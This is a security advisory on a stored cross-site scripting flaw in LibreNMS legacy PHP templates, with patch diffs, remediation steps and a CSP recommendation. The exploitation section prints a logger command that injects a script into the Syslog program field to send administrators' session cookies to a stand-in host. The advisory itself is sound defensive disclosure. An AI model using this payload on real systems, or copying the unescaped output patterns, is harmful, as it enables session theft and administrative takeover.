GHSA-7W8C-QGXG-M7JX: Stored Cross-Site Scripting in LibreNMS Legacy Templates

LibreNMS is an open-source, autodiscovering PHP-based network monitoring system that utilizes SNMP to query operational metrics from routers, switches, servers, and other network appliances. To present these metrics to administrators, LibreNMS relies on a hybrid UI architecture consisting of modern Laravel Blade views alongside legacy procedural PHP templates. Legacy view files located inside the includes/html/ directory directly render data stored in the application database.

Because network monitoring platforms are designed to collect, process, and display state information from potentially untrusted or compromised endpoints, the data ingest pipeline represents a significant attack surface. Key variables collected from monitored devices include sensor descriptions, memory pool identifiers, interface names, BGP AS descriptions, and Syslog log contents. When these elements are retrieved from the database, the legacy presentation layer fails to sanitize or encode output values.

This lack of sanitization leads to a Stored Cross-Site Scripting (Stored XSS) vulnerability. Any actor capable of altering the SNMP metadata on a monitored device, spoofing Syslog network packets, or establishing BGP pairings with custom descriptors can inject persistent malicious payloads. When an administrator navigates to the associated health, routing, or event logging interface, the browser parses and executes the payload, leading to potential administrative session takeover.

The root cause of GHSA-7W8C-QGXG-M7JX resides in the direct, unescaped interpolation of database-derived strings into the Document Object Model (DOM) within legacy procedural PHP files. While modern Laravel Blade files use standard brackets {{ $var }} to enforce HTML escaping, legacy procedural views use raw PHP output structures, including string concatenation and direct echo statements.

The application database acts as a storage medium for network telemetry collected by backend pollers. Because the database accepts and stores raw strings received via SNMP or UDP Syslog listeners, the responsibility of preventing injection attacks falls entirely on the rendering layer. In legacy files like includes/html/print-syslog.inc.php or includes/html/pages/device/health/sensors.inc.php, variables like $entry['program'] or $sensor['sensor_descr'] are written straight to HTML strings without processing.

An attacker can populate these fields with payload patterns containing HTML markup and JavaScript. Because the application processes these strings as trusted output, the client browser interprets the injected tags as layout elements and active scripts rather than plain-text strings. The vulnerability requires no application-level authentication for vectors leveraging public-facing Syslog daemons or unauthenticated SNMP poll responses.

A detailed review of the security fix applied in commit 6782af940c3c495755923b520a302f3a1cb1ce6b illustrates the transition from unsafe procedural echoes to secure output escaping. The core defensive change is the systemic application of the e() helper function, which acts as a wrapper for PHP's native htmlspecialchars function with ENT_QUOTES configured.

// BEFORE (Vulnerable implementation in includes/html/print-syslog.inc.php)
$syslog_output .= '<td><i>' . $entry['date'] . '</i>&nbsp;&nbsp;&nbsp;<strong>' . $entry['program'] . '</strong>&nbsp;&nbsp;&nbsp;' . htmlspecialchars((string) $entry['msg']) . '</td>';
 
// AFTER (Patched implementation)
$syslog_output .= '<td><i>' . e($entry['date']) . '</i>&nbsp;&nbsp;&nbsp;<strong>' . e($entry['program']) . '</strong>&nbsp;&nbsp;&nbsp;' . e($entry['msg']) . '</td>';

In the vulnerable snippet, only the message field $entry['msg'] was escaped, leaving both $entry['date'] and $entry['program'] completely vulnerable. An attacker sending a spoofed Syslog packet could populate the Syslog program header with a script payload, bypassing the message-level escaping.

// BEFORE (Vulnerable template in resources/views/map/custom-list.blade.php)
<a href="{{ route('maps.custom.show', $map->custom_map_id) }}">{!! $map->name !!}</a>
 
// AFTER (Patched template)
<a href="{{ route('maps.custom.show', $map->custom_map_id) }}">{{ $map->name }}</a>

In the Blade template files, developers replaced unescaped {!! ... !!} blade echo statements (which print raw HTML) with secure {{ ... }} auto-escaping syntax to ensure map names are sanitized before rendering.

An attacker can exploit this vulnerability using various network protocols, depending on the active pollers and services configured within LibreNMS.

In a Syslog injection scenario, the attacker identifies a LibreNMS instance accepting remote Syslog logs over UDP port 514. The attacker issues a malformed syslog packet with the program field set to an executable JavaScript payload:

logger -n <LibreNMS_IP> -P 514 -t "<script>fetch('http://attacker.local/exfil?cookie=' + document.cookie)</script>" "System normal"

When the system-wide logging dashboard is opened by an administrator, the browser processes the injected <script> tag. The script executes within the security context of the administrative user, enabling the exfiltration of session cookies or the silent execution of administrative actions through forged API requests.

A detailed cryptographic and technical review of the remediation patch reveals potential areas of residual risk involving nested execution contexts. In includes/html/pages/device/health/storage.inc.php, the developer applied the escaping helper directly within JavaScript event attributes:

$storage_descr = e($drive['storage_descr']);
$fs_popup = "onmouseover=\"return overlib('<div class=list-large>" . $device['hostname'] . ' - ' . $storage_descr;

This construction places the HTML-escaped string $storage_descr into a JavaScript function argument (overlib('...')) that is nested inside an inline HTML attribute (onmouseover="..."). This structure creates a multi-layered parsing context.

When the browser parses the HTML document, it decodes HTML entities inside the onmouseover attribute value prior to executing the JavaScript payload. If the storage description contains an escaped quote like ', the browser translates it back into a raw single quote ' in memory. This raw quote can prematurely terminate the string literal argument of the overlib call, leading to syntax errors or script breakout.

To remediate nested context issues, developers must apply strict context-aware encoding. Variables intended for use inside client-side scripts or inline event handlers should be serialized to JSON using json_encode() or loaded from data-attributes to isolate them from parsing boundary issues.

To resolve GHSA-7W8C-QGXG-M7JX, administrators must update LibreNMS to a patched version, such as 26.5.0 or 26.8.1. These versions incorporate systemic template updates that enforce escaping of incoming telemetry fields.

If manual patching is required because of network isolation or legacy infrastructure locks, administrators should implement the e() helper across all affected views in includes/html/. Special focus should be placed on high-exposure templates such as print-syslog.inc.php, eventlog.inc.php, and routing configuration displays.

# Recommended Nginx Content Security Policy (CSP) header
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-random123' 'strict-dynamic'; object-src 'none';";

To increase resilience against similar stored XSS vulnerabilities, implement a strict Content Security Policy (CSP). Restricting script execution to specified cryptographically secure nonces or preventing inline script blocks altogether stops injected XSS scripts from executing, even if the application's presentation layer fails to sanitize database outputs.